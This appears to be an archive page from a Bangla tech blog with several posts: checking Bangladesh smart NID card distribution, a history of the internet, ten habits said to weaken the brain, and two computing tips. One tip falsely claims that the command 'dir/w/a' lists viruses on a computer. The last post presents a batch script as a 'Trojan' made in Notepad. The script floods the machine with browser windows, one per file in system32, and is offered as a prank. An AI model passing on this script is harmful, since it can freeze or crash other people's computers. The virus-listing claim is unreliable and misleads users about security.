সর্বশেষ পোস্ট:
print this page
Showing posts with label জানা- অজানা. Show all posts
Showing posts with label জানা- অজানা. Show all posts

জেনে নিন আপনার স্মাট কার্ড কবে কখন এবং কোথায় দওয়া হবে।

প্রথমে সবাই কে জানাই অভিনন্দন এবং শুভেচ্ছা, আশা করি আপনারা সবাই ভালো আছেন। পরীক্ষার কারনে অনেক দিন কোন টিউনস করতে পারিনি। আপনারা সবাই আমার  জন্য আর্শীবাদ করবেন যেন আমি পরিক্ষায় ভালো রেজাল্ট করতে পারি। অনেক দিন পরে আজ কম্পিউটারে বসলাম এবং নতুন একটি বিষয় জানতে পারলাম,তা হল  (এন আই ডি) স্মার্ট কার্ড সম্পর্কে- যে কি ভাবে আপনি জানতে পারবেন যে আপনার (এন আই ডি) বা স্মার্ট কবে কখন এবং কোথায় দেওয়া হবে। বিষয় টা অনেকেই হয়তো বা জনে কেননা গত মাস হতে এই প্রসেস চালু করা হয়েছে, তার পরেও আমার কছে গুরুত্বপূর্ণ বলে মনে হল আর তাই আমি আপনাদের সাথে শেয়ার করলাম। তো- চলুন দেখাযাক যে কি ভাবে আমরা এটা জানতে পরি বা এর জন্য কি কি আপনাদের করতে হবে?

== এটা আপনারা ওয়েব সাইটের মাধ্যমে এবং এমন কি আপনাদের মোবাইলের মাধ্যমেও জানতে পারেন।==
১. ওয়েব সাইটের মাধ্যমে জানতে যা করতে হবে?
# https://services.nidw.gov.bd/card_distribution এই লিংকে প্রবেশ করুন।
#আপনার এনআইডি নম্বর বা ভোটার নিবন্ধন ফরমের স্লিপ নম্বর, জন্ম তারিখ ও ক্যাপচা লিখুন।
# ‘কার্ড বিতরণ তথ্য দেখুন’ অপশনে ক্লিক করতে হবে।
#  এরপর যে উইন্ডো আসবে সেখানেই থাকবে কবে, কোন ক্যাম্পে আপনার স্মার্টকার্ডটি কবে দেওয়া হবে।
# যদি লেখা উঠে – “No data found for: Your card distribution date is not scheduled yet, please try later.”; তাহলে বুঝতে হবে আপনার এলাকায় কবে স্মার্ট কার্ড দেওয়া হবে তার তারিখ এখনো নির্ধারিত হয়নি। আর কিছুদিন পর আবার ট্রাই করবেন।
২. মোবাইলের মাধ্যমে জানতে যা করতে হবে।
# মোবাইলের মেসেজের মাধ্যমে
মোবাইলের মেসেজ অপশনে গিয়ে SC লিখে স্পেস দিয়ে ১৭ ডিজিটের এনআইডি নম্বর লিখতে হবে। যাদের এনআইডি নম্বর ১৩ ডিজিটের, তারা প্রথমে জন্ম সাল যুক্ত করে নেবেন। এরপর তা ১০৫ নম্বরে পাঠালেই ফিরতি মেসেজে জানিয়ে দেওয়ার তথ্য।
এদিকে যারা এখনো NID পাননি তারা প্রথমে SC লিখে স্পেস দেবেন। এরপর F লিখে স্পেস দিয়ে নিবন্ধন ফরম নম্বর লিখবেন। আবারও স্পেস দিয়ে D লিখে yyy-mmm-ddd ফরম্যাটে জন্মতারিখ লিখে ১০৫ নম্বরে মেসেজ সেন্ড করবেন। ফিরতি মেসেজে আপনার এনআইডি কবে কোথায় কোন ক্যাম্পে দেওয়া হবে তা জানানো হবে।
গ) মোবাইলের মাধ্যমে কল করেঃ
১০৫ নম্বরে কল করে প্রয়োজনীয় তথ্য দিয়ে জানতে পারবেন।
উল্লেখ্য, ৩ অক্টোবর থেকে ঢাকার উত্তরা ও রমনা থানার ভোটার ও কুড়িগ্রামের ফুলবাড়ি উপজেলায় দাসিয়াছড়ার ভোটারদের স্মার্টকার্ড দেওয়া হবে। প্রথমে ঢাকার দুই সিটি, এরপর অন্য নয় সিটি, তারপর জেলা পর্যায়ে স্মার্টকার্ড বিতরণ করা হবে। সবশেষে পাবেন উপজেলা পর্যায়ের ভোটাররা।
 
আর একটি কথা যে টি না বললেই নয়, তা হচ্ছে আপনাদের যাদের NID নম্বার ১৩ সংখ্যার তারা তাদের জম্ম সাল প্রথমে যুক্ত করে নিবেন। আর যাদের NID নম্বার ১৭ সংখ্যার তারা ১৭ সংখ্যায় বসাবেন।

ইন্টারনেটের ক্রমবিকাশ

ডারপা‘ নামে মার্কিন প্রতিরক্ষা দফতরের একটি গবেষণা প্রকল্প থেকে ইন্টারনেটের সূচনা হয়। সময়টা ছিল ১৯৬৯ সালের ১৪ জানুয়ারি। ক্যালিফোর্নিয়া বিশ্ববিদ্যালয় লস এঞ্জেলস এবং স্ট্যানফোর্ড রিসার্চ ইনস্টিটিউটের মধ্যে কম্পিউটার নেটওয়ার্ক স্থাপন করা হয়। তখন এর নাম ছিল আরপানেট। এ নেটওয়ার্ক আন্তর্জাতিক রূপ পায় ১৯৭৩ সালের ২৫ শে জুলাই। লন্ডনের ইউনিভার্সিটি কলেজের সাথে যুক্তরাষ্ট্রের আরপানেট যুক্ত হয়। এ বছরই আরপানেটের রবার্ট কান আর ভিনটন সার্ফ প্রথমবারের মতো ট্রান্সমিশন কন্ট্রোল প্রটোকল এবং ইন্টারনেট প্রটোকল তৈরি করেন। এটি পরিচিতি পায় টিসিপিআইপি হিসেবে।
টিসিপিআইপি’র প্রথম পরীক্ষা চালানো হয় স্ট্যানফোর্ড বিশ্ববিদ্যালয় এবং ইউনিভার্সিটি কলেজ লন্ডনের মধ্যে ১৯৭৫ সালে। পরের দু’টি বছরে যুক্তরাষ্ট্র, যুক্তরাজ্য এবং নরওয়ের তিনটি নেটওয়ার্কের মধ্যে আরও পরীক্ষা চালানো হয়।
১৯৮০ সাল নাগাদ ইন্টারনেটের সার্বজনীন ভাষায় পরিণত হয় টিসিপিআইপি।
 
তবে ১৯৮১ সালে এসে আইবিএম এবং আরও কিছু কোম্পানী কয়েকটি নেটওয়ার্ক চালু করে। এগুলোর মধ্যে ছিল বিটনেট। ৪৯ টি দেশের এক হাজারেরও বেশি প্রতিষ্ঠান যুক্ত হয়েছিল এসব নেটওয়ার্কে। পরের কয়েকটি বছরে যুক্তরাষ্ট্রের জাতীয় বিজ্ঞান ফাউন্ডেশন বিভিন্ন বিশ্ববিদ্যালয়ের মধ্যে একটি নেটওয়ার্ক গড়ে তোলে, এর নাম ছিল এনএসএফনেট। এত নেটওয়ার্কের আবির্ভাবের ফলে টিসিপিআইপি’র প্রতিদ্বন্দ্বীও তৈরি হয়। কিন্তু শেষ পর্যন্ত টিকে যায় টিসিপিআইপি।
 
১৯৮৭ সালের নভেম্বরে এসে কম্পিউটার নেটওয়ার্কের মাধ্যমে তথ্য আদানপ্রদানের গতি বাড়াতে সক্ষম হয় এনএসএফনেট। এসময় বাণিজ্যিকভাবে বিনিয়োগ করতে শুরু করে বিভিন্ন প্রতিষ্ঠান।
 
১৯৮৮ সালে কানাডা, ডেনমার্ক, ফ্রান্স, আয়ারল্যান্ড, নরওয়ে, এবং সুইডেন এনএসএফনেটের সাথে যুক্ত হয়, আন্তর্জাতিক রূপ পায় এ নেটওয়ার্ক।


১৯৯০ সাল নাগাদ আরপানেটের জায়গা বেশ ভালোভাবেই নিয়ে নেয় এনএসএফনেট। এনএসএফনেটের দাপটে আরপানেট যখন বন্ধ হয়ে যায় তখন কর্মচারীরা ছাড়া আর কেউ তা বুঝতেই পারে নি।
 
১৯৯১ সাল: এ বছর ওয়ার্ল্ড ওয়াইড প্রকল্প চালু করেন টিম বার্নার্সলি।
 
১৯৯২ সালে এসে ইন্টারনেটের গতি বেড়ে বেড়ে প্রতি সেকেন্ডে ৪৫ মেগাবিটস-এ দাঁড়ায়। এবছরের ২২ শে সেপ্টেম্বর এনএসএফনেটের আদলে সারা ইউরোপ জুড়ে ইন্টারনেট ব্যবস্থা চালু হয়, এর নাম ছিল ই-বোন।
১৯৯৩ সালের ২২ শে এপ্রিল উইন্ডোজ অপারেটিং সিস্টেমের জন্য ওয়েব ব্রাউজার ‘মোজাইক’ চালু হয়।
 
১৯৯৫ থেকে ২০০৫ এ সময়ের মধ্যে এনএসএফনেট এবং ই-বোন দু’টিই বন্ধ হয়ে যায়। এদের জায়গা করে নেয় বাণিজ্যিক ইন্টারনেট সেবা প্রদানকারীরা।


ধন্যবাদ সবাইকে 


মস্তিষ্কের কার্যক্ষমতা কমার ১০টি কারণ

স্বাগত জানাচ্ছি আমার সচেতনামূলক পোষ্টে। শুরুতেই সবাইকে অনেক শুভেচ্ছা । আজকে আমরা জানবো যে ১০ টি কারনে- মানু্ষের মস্তিষ্কের কার্যক্ষমতা কমে যায়। মস্তিষ্ক আমাদের দেহের একটি অতিগুরুত্বপূর্ণ অংশ। আমাদের পুরো দেহই পরিচালিত হয় মস্তিষ্কদ্বারা। একবার ভাবুন যদি আমাদের মস্তিষ্ক দুর্বল হয়ে পড়ে তাহলে কত বিপদেই না পড়তে হতে হবে আমাদের? তাহলে সময় এখুনি আমাদের মস্তিষ্ক সম্পর্কে সচেতন হবার। আর তাই আপনাদের সচেতনতা বৃদ্ধির প্রয়াসে আমি মস্তিষ্কের কার্যক্ষমতা হ্রাস পাওয়ার ১০ টি কারণ আপনাদের সাথে শেয়ার করছি যাতে আপনারা সেই সব বিষয় সমূহ মাথায় রেখে তা এড়িয়ে যেতে পারেন আপনাদেরই স্বাস্থ্যের কল্যাণে। তো কথা না বাড়িয়ে দেখা যাক কী,কী সেই কারণ-


  • সকালে ঠিক মত না খাওয়া। যার ফলে রক্তে সুগারের পরিমান কমে যায় এবং ব্রেইন সঠিক পুষ্টি পায় না।
  • প্রয়োজনের অধিক খাদ্যাভ্যাস। যার ফলে আপনার ব্রেইনের এর রক্তনালীকে শক্ত করে তার কার্যক্ষমতা হ্রাস করে।
  • ধুমপান করা। এতে কোন সন্দেহ নেই যে ধুমপানের ফলে ব্রেইন এর ক্ষমতা হ্রাস করে। এমন কি এটি আলজেইমার রোগেরও একটি কারন।
  • অতিরিক্ত পরিমানে চিনি খাওয়া। এটি ব্রেইনের জন্য ক্ষতিকর।
  • বিষাক্ত বায়ু বা বায়ু দূষণ। মূলত আমরা যখন শ্বাসের মাধ্যমে অক্সিজেন গ্রহন করি তার প্রায় ৩৫ ভাগই আমাদের ব্রেইনের কাজে খরচ হয়। সুতরাং দূষিত বায়ুতে আক্সজেনের স্বল্পতার কারনে আমাদের ব্রেইনেও কম অক্সিজেন যাবে। এতে ব্রেইনের দক্ষতা কমে যায়।
  • রাত জাগলে বা ঘুমের সমস্যা। ঘুম মানে হচ্ছে ব্রেইনের বিশ্রাম। যারা পরিমিত ঘুমান না তাদের ব্রেইনের কার্যক্ষমতাও কম যায়।
  • মাথা ঢেকে ঘুমানো মস্তিষ্কের জন্য খারাপ। কারন তখন গৃহীত বাতাসে কার্বন ডাই অক্সাইডের পরিমান বেশী থাকে।
  • অসুস্থ অবস্থায় মাথার কাজ বা চিন্তা করাও ব্রেইনের জন্য ক্ষতিকর। মূলত অসুস্থ অবস্থায় ব্রেইনে বিশ্রাম দরকার।
  • বিশ্লেষণধর্মী চিন্তা ভাবনা আমাদের ব্রেইনের কার্যক্ষমতা এবং দক্ষতা বৃদ্ধি করে। যারা এধরনের চিন্তা কম করেন তাদের ব্রেইন তুলনামূলক কম দক্ষ হয়ে থাকে।
  • মাদকাসক্ত । এতে মস্তিষ্কের কর্ম ক্ষমতা কমে যায়।
কি ভাবছেন? যে এটা তো আপনাও জানতেন? তাহলে যদি জেনেই থাকেন তাহলে আসুন আজ থাকেই উপরের বিষয়গুলোকে এড়িয়ে চলি আর স্বাস্থ্যের প্রতি যত্নবান হই। এতে আপনি হয়ে উঠবেন রোগ মুক্ত আর আপনি আপনার জীবনের প্রত্যেকটি কাজ করতে পারবেন আপনার মতন করে। ধন্যবাদ ..

আপনার কম্পিউটারে কি কি ভাইরাস এফেক্ট করেছে দেখে নিন

শুরুতে সবাইকে জানাই আমার সালাম ও শুবেচ্ছা সবাই কেমন আছেন আসা করি সবাই খুবই ভাল আছেন…….
আজকে আপনাদের জন্য একটি মজার টিউন নিয়ে আসছি দেখে মজা পাবেন চলুন তাহলে কাজটা খুব দ্রুত সেরে ফেলি…….



আপনার কম্পিউটারে কি কি ভাইরাস এফেক্ট করেছে দেখে নিন…………..নিম্মে পদক্ষেপ অনুসরণ করুন
আপনার কম্পিউটারে প্রথমে  Run এ গিয়ে   cmd লিখে  Ok  করুন অতঃপর dir/w/a  লিখে  Enter দিন এখন আপনার কম্পিউটারে কি কি ভাইরাস এফেক্ট করেছে তার লিস্ট ‍দেখাবে ……………………….

...............ধন্যবাদ সবাই কে...................

TROJAN ভাইরাস তৈরী করুন নোডপেড দিয়ে

সবাই কে জানায় অনেক  শুবেচ্ছা ,আশা করি সবাই ভালো আছেন আমিও আপনাদের দোয়াই ভালোই আছি। যাই হোক এই বার কাজের কথাই আশা যাক আজকে আমি আপনাদের কে দেখাবো যে কী ভাবে নোটপ্যাডে সামান্য কিছু কোড লিখে Trojan ভাইরসি তৈরী করত হয়। এই টা  খুবই সহজ সবাই পারবে… 
তবে একটা কথা আগেই বলে রাখা ভালো যে এটা কোন খারাপ উদ্দেশ্য নিযে  বানো যাবে না । আর এইটা দিয়ে তেমন কোন ক্ষতি করা সম্ভব নয় । তবে মজা করার জন্য ব্যবহার করতে পারেন
শুধু আমার দেয়া কোডগুলো নোডপেড এ পেস্ট করুন।  নিচে কোডটি দেয়া আছে
cd c:\windows\system32
for %%a in (*) do start iexplore.exe
for %%a in (*) do start iexplore.exe
for %%a in (*) do start iexplore.exe
for %%a in (*) do start iexplore.exe
for %%a in (*) do start iexplore.exe

এবার এটাকে ANY Name.Bat দিয়ে Save করুন। তবে একটা জিনিস খেয়াল রাখতে হবে যে আপনি পাইল টা কে যে নামেই Save করেন না কেন শেষে যেন .Bat থাকে, তা -না হলে কিন্তু কাজ হবে না। যদি সব কাজ ঠিক ঠাক মত করে থাকেন তাহলে ঠিক আছে।   এখন এই ফাইলের উপর ডাবল ক্লিক করুন আর দেখুন মজা।

.......................... সবাই কে অনেক ধন্যবাদ..............................
 
Copyright © 2016. টেক ডট বিডি - All Rights Reserved
Powered by SCS